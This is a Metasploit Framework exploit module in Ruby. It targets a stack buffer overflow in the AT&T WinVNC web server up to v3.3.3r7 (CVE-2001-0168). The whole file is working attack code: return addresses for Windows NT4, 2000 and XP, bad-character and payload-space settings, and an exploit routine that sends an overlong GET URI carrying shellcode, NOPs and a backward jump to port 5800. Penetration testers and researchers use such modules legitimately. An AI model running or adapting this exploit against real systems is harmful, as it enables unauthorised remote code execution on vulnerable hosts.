## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'WinVNC Web Server <= v3.3.3r7 GET Overflow', 'Description' => %q{ This module exploits a buffer overflow in the AT&T WinVNC version <= v3.3.3r7 web server. When debugging mode with logging is enabled (non-default), an overly long GET request can overwrite the stack. This exploit does not work well with VNC payloads! }, 'Author' => 'patrick', 'License' => MSF_LICENSE, 'References' => [ [ 'BID', '2306' ], [ 'OSVDB', '6280' ], [ 'CVE', '2001-0168' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 979, 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x0b", 'StackAdjustment' => -3500, }, 'Platform' => ['win'], 'Targets' => [ [ 'Windows NT4 SP3-6', { 'Ret' => 0x779f4e39 } ], # push esp, ret msvcrt.dll [ 'Windows 2000 SP1-4', { 'Ret' => 0x77bba3af } ], # jmp esp comctl32.dll [ 'Windows XP SP0-1', { 'Ret' => 0x71ab7bfb } ], # jmp esp ws2_32.dll ], 'DisclosureDate' => 'Jan 29 2001', 'DefaultTarget' => 1)) register_options( [ Opt::RPORT(5800), ],self.class) end def exploit sploit = '/' + payload.encoded + [target['Ret']].pack('V') sploit << make_nops(8) + Rex::Arch::X86.jmp(0xfffffc1c) res = send_request_raw({ 'uri' => sploit, 'method' => 'GET', }, 5) handler end end